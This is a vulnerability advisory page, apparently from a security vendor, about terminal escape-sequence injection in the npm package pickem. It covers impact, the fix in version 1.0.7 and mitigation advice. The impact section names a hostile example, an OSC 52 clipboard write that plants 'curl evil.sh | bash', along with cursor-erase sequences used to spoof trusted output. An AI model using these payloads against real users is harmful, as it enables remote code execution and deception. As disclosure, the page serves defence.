GHSA-8qx3-8gm5-9cj2
GHSA-8qx3-8gm5-9cj2 is a remote code execution vulnerability in pickem. O3 Security confirms whether GHSA-8qx3-8gm5-9cj2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
pickem vulnerable to terminal escape-sequence injection via unsanitized item text
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
pickemnpmDescription
Impact
pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.
Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:
- OSC 52 clipboard write — silently load e.g.
curl evil.sh | bashinto the user's clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (
ESC[1A,ESC[2K) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - BEL / C0 control flooding.
Any CLI that passes untrusted strings into pickem choices is affected.
Patches
Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.
Workarounds
Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | pickem | all versions | 1.0.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pickem. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pickem to 1.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8qx3-8gm5-9cj2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8qx3-8gm5-9cj2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8qx3-8gm5-9cj2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8qx3-8gm5-9cj2 in your dependencies?
O3 detects GHSA-8qx3-8gm5-9cj2 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.